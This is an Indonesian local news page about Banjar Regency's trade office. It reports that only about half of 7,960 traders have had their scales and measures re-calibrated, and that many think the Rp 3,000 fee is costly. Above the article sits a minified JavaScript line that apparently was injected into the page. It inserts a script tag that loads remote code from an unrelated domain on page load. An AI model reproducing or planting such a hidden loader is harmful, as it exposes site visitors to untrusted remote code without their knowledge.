(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

7.960 Pedagang, Baru Separo yang Tera Ulang Timbangan dan Takaran


MARTAPURA, Dinas Perdagangan (Disperindag) melalui Bidang Pengawasan dan Kemetrologian terus bersosialisasi tugas pokok dan fungsi (tupoksi) baru yang kini ditangani. Yakni Kemetrologian. Temasuk dalam bidang tera Ukuran, Timbangan, Takaran dan Perlengkapannya (UTTP).

H M Ramlan, Kepala Disperindag Kabupaten Banjar didampingi Kabid Pengawasan Perdagangan dan Kemetrologian, Aina mengatakan, pihaknya terus melaksanakan sosialisasi terkait pelaksanaan kemetrologian yang kini dilaksanakan oleh Pemerintah Kabupaten (Pemkab) Banjar.

Sebelumnya, ujar Ramlan, kewenangan tera ulang dilaksanakan pemerintah provinsi.

“Pemerintah kabupaten sebatas pengawasan. Tapi setelah penerapan UU 23/2014, tera ulang timbangan, takaran, dan meteran dilaksanakan masing-masing kabupaten/kota,” katanya.

Para pedagang di pasar-pasar, menjadi sasaran utama sosialisasi. Ada juga pengusaha SPBU dan SPBE yang memang berkewajiban menera ulang peralatan takar bahan bakarnya setahun sekali.

Disampaikan Aina, Kabid Penngawasan Perdagangan dan Kemetrologian, jumlah pedagang pengguna perangkat timbangan dan takaran di Kabupaten Banjar sebanyak 7.960 pedagang. Termasuk dalam jumlah itu, adalah para pedagang emas. Kendati diakuinya, dari jumlah tersebut, hanya separonya yang menera ulang perangkat timbangan dan takarannya.

Itu menurut Aina, lantaran di kalangan pedagang masih ada berpikiran biaya tera ulang mahal.

“Padahal sejak biaya tera ulang sangat murah, hanya Rp 3.000. Hanya terkadang, selain tera ulang, juga dilakukan perbaikan. Nah ongkos perbaikan itu yang mungkin mungkin dinilai pedagang mahal,” katanya.

Diakuinya, karena tupoksi baru, belum semua kewenangan tera ulang dapat dilakukan. Semisal tera ulang meteran listrik dan leding, juga tera ulang jembatan timbang yang umumnya digunakan di perusahaan-perusahaan perkebunan dan pertambangan.

“Untuk tera meteran listrik, leding dan jembatan timbang memang belum dapat dilayani karena keterbatasan perangkat yang dimiliki,” kata Aina. (rudiyanto)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.